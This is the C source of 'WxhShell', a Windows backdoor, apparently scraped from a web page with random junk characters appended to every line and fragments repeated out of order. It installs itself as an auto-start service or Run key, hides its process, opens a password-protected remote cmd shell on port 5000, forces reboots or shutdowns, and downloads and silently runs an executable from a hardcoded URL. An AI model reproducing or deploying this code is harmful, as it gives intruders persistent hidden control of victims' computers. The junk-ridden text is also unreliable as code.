    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o:fe`#t  
    else { RAP-vVh/C  
    closesocket(wsh); CxZh^V8LP  
    ExitThread(0); l`i97P?/W  
    } B4wRwrVI>  
    break; [ ~2imS  
    } j49Uj}:j  
  // 获取shell $LFL4Q  
  case 's': { %yu =,J j  
    CmdShell(wsh); $Ery&rX.  
    closesocket(wsh); J9p4\=9  
    ExitThread(0); H;l_;c`  
    break; -Ou.C7ol  
  } r$}C<a[U  
  // 退出 8W?dWj  
  case 'x': { 7t:tS7{}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); stBe ^C  
    CloseIt(wsh); Z0m`%(MJa  
    break; sA77*T  
    } j7k}!j_O{  
  // 离开 ii-AE L  
  case 'q': { >3Q|k{97  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y!.jpF'uI  
    closesocket(wsh); RZ xwr  
    WSACleanup(); =R|XFZ,  
    exit(1); Y`Io}h G$  
    break; vIbM@Y4 '?  
        } dK4rrO  
  } ]L7A$sTUQ  
  } )AQ^PBwp  
5UO+c( T  
  // 提示信息 KP>9hEh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^}B,0yUu'  
} +8T^q,  
  } v|o{AL:ei  
]MosiMJF  
  return; X["xC3 i  
} %.<_+V#h  
W%-XN   
// shell模块句柄 U/QgO  
int CmdShell(SOCKET sock) |#kY_d)10  
{ rUj\F9*5#  
STARTUPINFO si; a[(OeVQ5  
ZeroMemory(&si,sizeof(si)); G~YZ(+V%~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; voRry6Q;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )J}v.8   
PROCESS_INFORMATION ProcessInfo; U5OX.0  
char cmdline[]="cmd"; '#Au~5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =I@t%Y  
  return 0; r(46jV.sD:  
} L2ydyXIsd  
_y_}/  
// 自身启动模式 _!@:@e)yB{  
int StartFromService(void) czuIs|_K*  
{ [eDrjf3m  
typedef struct MMs~f*  
{ .4)oZ  
  DWORD ExitStatus; !S#3mT-  
  DWORD PebBaseAddress; 4JAz{aw'b  
  DWORD AffinityMask; .qO4ceW2-~  
  DWORD BasePriority; {_-kwg{"(  
  ULONG UniqueProcessId; uK2HtRY1  
  ULONG InheritedFromUniqueProcessId; {E:`  
}   PROCESS_BASIC_INFORMATION; gM\>{ihM'  
pOc2V  
PROCNTQSIP NtQueryInformationProcess; 5mD8$% \8  
7"!b5(4=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'bi;Y1:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dm4Q'u  
?K>)bA&l'  
  HANDLE             hProcess; 2@<_,'  
  PROCESS_BASIC_INFORMATION pbi; 49~d6fH  
H@=oVyn/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZH_$Q$9  
  if(NULL == hInst ) return 0; (?7=,A7^  
^w60AqR8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HcsV q+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j|k/&q[St  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1 :p'  
ew~Z/ A   
  if (!NtQueryInformationProcess) return 0; >v.f H6P,}  
P1Hab2%+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wtY)(k a  
  if(!hProcess) return 0; *c$[U{Px  
EfrQ~`\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,Vhve'=*2  
N3n]  
  CloseHandle(hProcess); OlOOg  
g X!>ef  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x#D%3v"l_*  
if(hProcess==NULL) return 0; p"ZvA^d\   
nF<K84  
HMODULE hMod; uL`#@nI  
char procName[255]; SIJ7Y{\.  
unsigned long cbNeeded; pCs3-&rI3  
QxYm3x5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t0m;tb bg  
q? ' 4&  
  CloseHandle(hProcess); "GO!^ZG]  
da7"Q{f+  
if(strstr(procName,"services")) return 1; // 以服务启动 {aY) Qv}  
l{{,D57J  
  return 0; // 注册表启动 TTz=*t+D  
} >GGM76vB=,  
!p&<.H_  
// 主模块 `Nx@MPo  
int StartWxhshell(LPSTR lpCmdLine) Z7a@$n3h  
{ >^s2$@J?p  
  SOCKET wsl; _QL|pLf-  
BOOL val=TRUE; u}@N Qeg  
  int port=0; ba|xf@=&  
  struct sockaddr_in door; K81X32Lm'  
D&%8JL  
  if(wscfg.ws_autoins) Install(); o08WC'bX  
|g&V? lI  
port=atoi(lpCmdLine); Lv%3 jj  
{N4 'g_  
if(port<=0) port=wscfg.ws_port; 4z0gyCAC A  
.l1x~(  
  WSADATA data; Nn LK!Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [ohLG_9  
FS1\`#Bm)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |>;PV4])(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,*|Q=  
  door.sin_family = AF_INET; 4$xVm,n|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (U:-z=E#1  
  door.sin_port = htons(port); c RLw)"|  
,HZ%q]*:~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |?T=4~b  
closesocket(wsl); ihrf/b  
return 1; fDy*dp4z  
} uy {O   
46>rvy.r  
  if(listen(wsl,2) == INVALID_SOCKET) { A8'RM F1  
closesocket(wsl); ^Arv6kD,  
return 1; `MI\/oM@  
} ``l*;}  
  Wxhshell(wsl); hVz yvpw  
  WSACleanup(); @_ %RQO_X  
Ib..X&N2  
return 0; <?.eU<+O`S  
A9xe Oy8e  
} //63|;EEkl  
g04^M (  
// 以NT服务方式启动 1&boD\ 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \CjJa(vV  
{ w}3N!jNDv  
DWORD   status = 0; X _ZO)|  
  DWORD   specificError = 0xfffffff; D6bYg `  
|+ F ~zIu'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1#d2 +J*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /e2zH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \ S;[7T  
  serviceStatus.dwWin32ExitCode     = 0; $JY \q2  
  serviceStatus.dwServiceSpecificExitCode = 0; OJ&'Z}LB  
  serviceStatus.dwCheckPoint       = 0; w;O-ATUzN  
  serviceStatus.dwWaitHint       = 0; cGlN*GJ*H  
+#Pb@^6"m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ##jJa SxG  
  if (hServiceStatusHandle==0) return; k{qxsNM  
,Cr%2Wg-  
status = GetLastError(); &>jz[3  
  if (status!=NO_ERROR) Q!l(2nva  
{ 0AO^d[v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /8l-@P. o  
    serviceStatus.dwCheckPoint       = 0; +=($mcw#[  
    serviceStatus.dwWaitHint       = 0; "'v+*H 3  
    serviceStatus.dwWin32ExitCode     = status; s<YN*~  
    serviceStatus.dwServiceSpecificExitCode = specificError; Lf9hOMHx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ey=2 zo^F  
    return; f;'*((  
  } *u+DAg'&  
Bp^LLH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _lv{8vf1B  
  serviceStatus.dwCheckPoint       = 0; z*},N$2=  
  serviceStatus.dwWaitHint       = 0; fpf]qQ W~7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yi Zk|K_  
} m9[ 7"I  
nah?V" ?Y  
// 处理NT服务事件,比如:启动、停止 Mq0MtC6-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ._rPM>B?  
{ '4'Z  
switch(fdwControl) 0|AgmW_7 .  
{ yJ?=##  
case SERVICE_CONTROL_STOP: PysDDU}v  
  serviceStatus.dwWin32ExitCode = 0; yQhO-jT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $ar^U  
  serviceStatus.dwCheckPoint   = 0; +R*DE5dz  
  serviceStatus.dwWaitHint     = 0; dj0%?g>  
  { 9`f@"%h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $FPq8$V  
  } (.#nl}fA  
  return; 2^'Ec:|f  
case SERVICE_CONTROL_PAUSE: ys`-QlkB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fG0ZVV!   
  break; Kd oI  
case SERVICE_CONTROL_CONTINUE: ]aPf-O*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; do8[wej<:  
  break; /r7xA}se^  
case SERVICE_CONTROL_INTERROGATE: ?}Zo~]7E  
  break; # xO PF9  
}; R'gd/.[e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `CWhjL8^  
} (2b${Q@V  
m7k }k)  
// 标准应用程序主函数 dXTD8 )&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N:lE{IvRJ  
{ ,V1"Typ#<  
_<Ak M"  
// 获取操作系统版本 b+~_/;Y9  
OsIsNt=GetOsVer(); Z^'~iU-?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T";evM66  
sK#) k\w>  
  // 从命令行安装 ST{Vi';}  
  if(strpbrk(lpCmdLine,"iI")) Install(); a_Xwi:e<  
.=eEuH  
  // 下载执行文件  dfFw6R  
if(wscfg.ws_downexe) { c'Z=uL<Rm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WWp MuB_G  
  WinExec(wscfg.ws_filenam,SW_HIDE); ho=!Yy  
} qt L]x -O  
y[b 8rv  
if(!OsIsNt) { Q"I(3 tp9[  
// 如果时win9x,隐藏进程并且设置为注册表启动  bUcp8  
HideProc(); `}ak]Z_  
StartWxhshell(lpCmdLine); ;a?<7LIx  
} =AO (  
else ]njNSn  
  if(StartFromService()) mh8fJ6j29N  
  // 以服务方式启动 aL:|Dr3SX  
  StartServiceCtrlDispatcher(DispatchTable); D?dBm  
else !H\;X`W|~D  
  // 普通方式启动 1 iox0  
  StartWxhshell(lpCmdLine); 3@" :&  
AUD) =a>  
return 0; @XJ7ff&  
} n$2oM5<  
WK$\#>T  
3VLwY!2:  
?kR1T0lKkE  
=========================================== 3zB'AG3b  
WVR/0l&bU  
a{xJ#_/6  
qy'-'UlIr  
K9zr]7;th  
tMw65Xei6b  
" U5C]zswL  
~Eg]Auk7  
#include <stdio.h> E_~e/y"-  
#include <string.h> CT'4.  
#include <windows.h> g(pr.Dw6  
#include <winsock2.h>  0J+WCm`  
#include <winsvc.h> S${%T$>  
#include <urlmon.h> :fj>JF\[  
vD8pVR+  
#pragma comment (lib, "Ws2_32.lib") %%K3J<5  
#pragma comment (lib, "urlmon.lib") P%:?"t+J`;  
t{c:<nN  
#define MAX_USER   100 // 最大客户端连接数 *+*W# de.  
#define BUF_SOCK   200 // sock buffer ND1hZ3(^  
#define KEY_BUFF   255 // 输入 buffer x\'3UKQP+^  
RNc:qV<H  
#define REBOOT     0   // 重启 7G+!9^  
#define SHUTDOWN   1   // 关机 S*<Jy(:n  
ou-#+Sdd  
#define DEF_PORT   5000 // 监听端口 ,marNG  
:,l16{^  
#define REG_LEN     16   // 注册表键长度 VEy]vr}  
#define SVC_LEN     80   // NT服务名长度 =6U5^+|d  
E#_/#J]UQn  
// 从dll定义API XQ=%a5w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dm}1"BU<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lW5Lwyt8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {> ,M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )jXKPLj  
:h(RS ;  
// wxhshell配置信息 i[[.1MnS  
struct WSCFG { (nO2+@ !  
  int ws_port;         // 监听端口 K+|XI|1p  
  char ws_passstr[REG_LEN]; // 口令 ho$}#o  
  int ws_autoins;       // 安装标记, 1=yes 0=no #M~yt`R~  
  char ws_regname[REG_LEN]; // 注册表键名 +\ftSm>  
  char ws_svcname[REG_LEN]; // 服务名 s=:)!M.i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6hj[/O)E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y-bTKSn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +ZbNSN=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VLV]e_D6s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y7/4u-_c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JOG- i  
$e+4Kt ,  
}; u D(C jHM>  
.nZKy't   
// default Wxhshell configuration 0UJ6> Rj  
struct WSCFG wscfg={DEF_PORT, yf&_l^!  
    "xuhuanlingzhe", f?:=@35  
    1, &jY| :Fe  
    "Wxhshell", %T$>E7]!  
    "Wxhshell", 3Iqvc v  
            "WxhShell Service", ?5CE<[  
    "Wrsky Windows CmdShell Service", hqln6m  
    "Please Input Your Password: ", Qw5-/p=t  
  1, h[u@UGK%  
  "http://www.wrsky.com/wxhshell.exe", WyOav6/*K^  
  "Wxhshell.exe" qeFaY74S  
    }; mn03KF=n]  
7HVENj_b+M  
// 消息定义模块 8?8V;   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <lR:^M[v5<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {J)%6eL?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2OpA1$n6  
char *msg_ws_ext="\n\rExit."; sSfP.R  
char *msg_ws_end="\n\rQuit."; L~f~XgQ  
char *msg_ws_boot="\n\rReboot..."; Dl.UbH }=  
char *msg_ws_poff="\n\rShutdown..."; a& 0g0n6  
char *msg_ws_down="\n\rSave to "; pq r_{  
lv?`+tU2_  
char *msg_ws_err="\n\rErr!"; T O]7cC  
char *msg_ws_ok="\n\rOK!"; ~ S<aIk0l  
p@O Ip  
char ExeFile[MAX_PATH];  omg#[  
int nUser = 0; 4 .c1  
HANDLE handles[MAX_USER]; QOK,-  
int OsIsNt; c $r"q :\  
E[#VWM I  
SERVICE_STATUS       serviceStatus; SrH::-{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OD7^*j(p`  
x%`YV):*  
// 函数声明 Wu* 4r0  
int Install(void); V|@bITJ?7  
int Uninstall(void); x-c5iahp'  
int DownloadFile(char *sURL, SOCKET wsh); 0^tY|(b3/M  
int Boot(int flag); E`.hM}h  
void HideProc(void); D N)o|p  
int GetOsVer(void); Xg]Cq"RJC  
int Wxhshell(SOCKET wsl); Uhr2"Nuuy  
void TalkWithClient(void *cs); $)@D(m,ybd  
int CmdShell(SOCKET sock); rR":}LA^d  
int StartFromService(void); JwxKWVpWv  
int StartWxhshell(LPSTR lpCmdLine); kJl^,q  
]VQd *~ -  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a T(]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Dqo#+_v  
X+sKG5nS  
// 数据结构和表定义 m5 sW68  
SERVICE_TABLE_ENTRY DispatchTable[] = bK!h{Rr  
{ C_>XtcU  
{wscfg.ws_svcname, NTServiceMain}, N@tKgx  
{NULL, NULL} ~tWh6-:|{J  
}; c_ncx|dUs  
IV!`~\@  
// 自我安装 a9;KS>~bq  
int Install(void) OQfFS+6  
{ T8Mqu`$r  
  char svExeFile[MAX_PATH]; c*7|>7C$i  
  HKEY key; ,vmn{gz  
  strcpy(svExeFile,ExeFile); )bih>>H  
~b*]jZwT  
// 如果是win9x系统,修改注册表设为自启动 /0qbRk i  
if(!OsIsNt) { p~3 x=X4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0ZwXuq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k L6s49  
  RegCloseKey(key); , @UOj=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +kd1q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I;"pPJ3G  
  RegCloseKey(key); Nc(CGl:  
  return 0; mST8+R@S  
    } C{m%]jKH  
  } [u!n=ev  
} vE^tdzAG  
else { Cp/f18zO  
XQn1B3k+  
// 如果是NT以上系统,安装为系统服务 N,K/Ya)1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J;Z2<x/H  
if (schSCManager!=0) O<Q8%Az  
{ g(tVghHxt$  
  SC_HANDLE schService = CreateService M1WD^?tKQ.  
  ( dq.U#Rhrx  
  schSCManager, .B<Bqr@?8  
  wscfg.ws_svcname, +@^);b6  
  wscfg.ws_svcdisp, .Ja].hP  
  SERVICE_ALL_ACCESS, Z5(9=8hB/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X-nC2[tu'W  
  SERVICE_AUTO_START, mj$Ucql  
  SERVICE_ERROR_NORMAL, X uE: dL?  
  svExeFile, 1|4,jm$  
  NULL, 3%5YUG@  
  NULL, R+NiIoa  
  NULL, Ws|`E `6O  
  NULL, V:L%GWU  
  NULL DFWO5Y_  
  ); bKmwXDv'  
  if (schService!=0) b9X*2pnWJ  
  { S=-$:65  
  CloseServiceHandle(schService); uU3A,-{-  
  CloseServiceHandle(schSCManager); siI%6Gn;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `WXlq#:K  
  strcat(svExeFile,wscfg.ws_svcname); h-1?c\Qq:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =3(Auchl$Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ou-UR5  
  RegCloseKey(key); l90"1I A  
  return 0; :!g|pd[{ag  
    } v =y 2  
  } R`c[ ?U  
  CloseServiceHandle(schSCManager); DNq(\@x[!  
} s*la`(x  
} 2H4vK]]Nl  
RV  V`  
return 1; uEJ8Lmi  
} xA(z/%  
lh'S_p8g  
// 自我卸载 y8s!sO  
int Uninstall(void) _xv3UzD  
{ M]r?m@)  
  HKEY key; =w+8q1!o  
:K^J bQ  
if(!OsIsNt) { V2}\]x'1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PhC3F4  
  RegDeleteValue(key,wscfg.ws_regname); :CE4< {V  
  RegCloseKey(key); KL=<s#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U&WEe`XM  
  RegDeleteValue(key,wscfg.ws_regname); -%"PqA/1zj  
  RegCloseKey(key); '+_>PBOc  
  return 0; cw!,.o%cD  
  } =J]WVA,GqA  
} D BHy%i  
} 3U>-~-DS  
else { &;-zy%#l  
U)bv,{-q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,J|,wNDU!K  
if (schSCManager!=0) `Fn"QL-  
{ b`-|7<s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @5nFa~*K%  
  if (schService!=0) @/<UhnI  
  { * HKu%g  
  if(DeleteService(schService)!=0) { >E+g.5 ,:W  
  CloseServiceHandle(schService); W#<1504ip  
  CloseServiceHandle(schSCManager); 7m-%  
  return 0; _aPAn|.  
  } =lJ ?yuc  
  CloseServiceHandle(schService); "wOfs$w%s  
  } 4`#Q  
  CloseServiceHandle(schSCManager); uem-fTG  
} ).5 X  
} NV4g5)D&L  
tsc `u>  
return 1; >l &]Ho  
} Y'|,vG  
4uIYX  
// 从指定url下载文件 EpAgKzVpJ  
int DownloadFile(char *sURL, SOCKET wsh) Z71m(//*}  
{ e7U\gtZ.  
  HRESULT hr; *(Dmd$|0|  
char seps[]= "/"; u)0I$Tc"  
char *token; _h!.gZB3  
char *file; 7l69SQo]?  
char myURL[MAX_PATH]; 3{3@>8{w  
char myFILE[MAX_PATH]; gY~r{  
GjhTF|  
strcpy(myURL,sURL); !CYC7HeF  
  token=strtok(myURL,seps); <PpvVDy3  
  while(token!=NULL) :ZrJL&  
  { T-%=tY+-  
    file=token; Eu?z!  
  token=strtok(NULL,seps); X@`a_XAfd  
  } (P)G|2=  
Q|AZv>'!  
GetCurrentDirectory(MAX_PATH,myFILE); 27eG8  
strcat(myFILE, "\\"); g5B TZZ  
strcat(myFILE, file); SQ>i:D;  
  send(wsh,myFILE,strlen(myFILE),0); SL4?E<Jb  
send(wsh,"...",3,0); qG6s.TcG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sP(+Z^/  
  if(hr==S_OK) 5Ml=<^  
return 0; HK!ecQ^+  
else 6$r\p2pi0  
return 1; )]1hN;Nz  
6CBk=)qH  
} I$7eiW @  
+& r!%j7  
// 系统电源模块 OjUPvR2 0  
int Boot(int flag)  `t U  
{ Z4VFfGCTL  
  HANDLE hToken; \~5|~|9<  
  TOKEN_PRIVILEGES tkp; q7X]kr*qx  
KG'i#(u[  
  if(OsIsNt) { ]Btkoad  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *HKw;I   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W" 5nS =d%  
    tkp.PrivilegeCount = 1; )Z/"P\qo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @gI1:-chB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fM;,9  
if(flag==REBOOT) { o <q*3L5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P3_.U8g$r  
  return 0; nYyhQX~]B  
} @RoZd?  
else { L80(9Y^xn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~Bzzu % S  
  return 0; bKo %Ak,  
} L!fTYX#K]  
  } ote,`h  
  else { Wgwd?@uK  
if(flag==REBOOT) {  j#](Q!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _VrY7Mz:r  
  return 0; PXb$]HV  
} iEvQ4S6tD  
else { U[C4!k:0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Mkz_.;3  
  return 0; V_+&Y$msi~  
} u7!9H<{>P  
} cSb;a\el$  
.Nn11F< d  
return 1; -R`{]7V  
} vQMBJ&  
]\78(_o.zz  
// win9x进程隐藏模块 jm^.E\_  
void HideProc(void) $coO~qvU  
{ d?2V2`6  
-pu5O 9 @  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2c9?,Le/;  
  if ( hKernel != NULL ) @]=40Yj~w  
  { ( ay AP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ";K w?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tb3V qFx  
    FreeLibrary(hKernel); '/W$9jm  
  } @+u>rS|IB  
Ed9Uw 7  
return; I.<c{4K5  
} 2xI|G 3U  
>Fel) a  
// 获取操作系统版本 y~SVD@  
int GetOsVer(void) COrk (V  
{ Rr )+M3'  
  OSVERSIONINFO winfo; Jz@~$L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9j,g&G.K  
  GetVersionEx(&winfo); n>M`wF>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .w2ID  
  return 1; .Mt3e c<  
  else TktH28tK  
  return 0; R@vcS=m7  
} kBu{ bxL  
oaoTd$/5  
// 客户端句柄模块 )pnyVTKt  
int Wxhshell(SOCKET wsl) ,^(]zZh  
{ @AsJnf$y  
  SOCKET wsh; jwZ,_CK  
  struct sockaddr_in client; 0I&k_7_   
  DWORD myID; ^t;z;.g  
ks '>?Dw  
  while(nUser<MAX_USER) (Fv tL*  
{ xs$$fPAQ  
  int nSize=sizeof(client); n<I{x^!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d$dy6{/YD  
  if(wsh==INVALID_SOCKET) return 1; ahB qYA K9  
V$^jlWdR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {28|LwmL  
if(handles[nUser]==0) $XBK_ 5  
  closesocket(wsh); zG!nqSDG  
else dAo;y.3  
  nUser++; Rj8%% G-pt  
  } P]_d;\ !"v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2eT?qCxqc  
K2   
  return 0; ]MbPivM  
} I=Y>z ^4  
(i1JRn-f  
// 关闭 socket vvoxK0  
void CloseIt(SOCKET wsh) 8.E"[QktZ  
{ N ##`  
closesocket(wsh); pSZ2>^";  
nUser--; 'M90Yia  
ExitThread(0); \ mqx '  
} .n-#A  
y8Va>ul"U  
// 客户端请求句柄 7R+(3NU1A  
void TalkWithClient(void *cs) 6b|?@  
{ x&}]8S)  
AOf4y&B>q  
  SOCKET wsh=(SOCKET)cs; LF<&gC  
  char pwd[SVC_LEN]; 8`Ya7c>  
  char cmd[KEY_BUFF]; my=f}%k=  
char chr[1]; RaZ>.5 D  
int i,j; U, 6iT  
+n3I\7G>  
  while (nUser < MAX_USER) { DL]tg [w{  
pl[J!d.c  
if(wscfg.ws_passstr) { B@,9Cx564  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <=uYfi3,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8a)AuAi?!  
  //ZeroMemory(pwd,KEY_BUFF); Ic& h8vSU  
      i=0; q2GW3t  
  while(i<SVC_LEN) { D7Q+w  
En5oi  
  // 设置超时 [3%mNNk  
  fd_set FdRead; M>Q]{/V7T  
  struct timeval TimeOut; +^)v"@,VP  
  FD_ZERO(&FdRead); L74Mz]v  
  FD_SET(wsh,&FdRead); _GOSqu!3Y  
  TimeOut.tv_sec=8; J 3!~e+wn  
  TimeOut.tv_usec=0; H'+7z-% G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {4"V)9o-1>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |"H 2'L$  
~z,o):q1 }  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (!j#u)O  
  pwd=chr[0]; 6CJMQi,kn  
  if(chr[0]==0xd || chr[0]==0xa) { 8;PkuJR_]  
  pwd=0; yNTd_XPL  
  break; U=>S|>daR  
  } k[=qx{Osx%  
  i++; 0lw>mxN  
    } X/!_>@`7?  
xad`-vw  
  // 如果是非法用户,关闭 socket WJ7|0qb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '<Z[e`/  
} xO$P C,  
@hLkU4S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Cs $5Of(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {]vD@)k  
>1y6DC  
while(1) { ?ukw6T  
?Ua,ba*  
  ZeroMemory(cmd,KEY_BUFF); BD g]M/{  
<@<rU:o=V  
      // 自动支持客户端 telnet标准   J[ds.~ $  
  j=0; gN&i &%*!  
  while(j<KEY_BUFF) { q5'S<qY^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I[Ra0Q>([k  
  cmd[j]=chr[0]; `:/'")+@v  
  if(chr[0]==0xa || chr[0]==0xd) { !Sq<_TO  
  cmd[j]=0; P rt} 01$  
  break; Sb.8d]DW  
  } AerU`^  
  j++; Ebg8qDE  
    } 5/H,UL  
,'#TdLe  
  // 下载文件 7y=>Wa?T[  
  if(strstr(cmd,"http://")) { E-LkP;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ob d n#Wm=  
  if(DownloadFile(cmd,wsh)) $JE,u' JQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !(s n9z#  
  else e3~MU6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > mGH4{H  
  } {>&~kM@  
  else { gesbt  
> A#5` $i  
    switch(cmd[0]) { &$"#hGg  
  "gJ?LojB<  
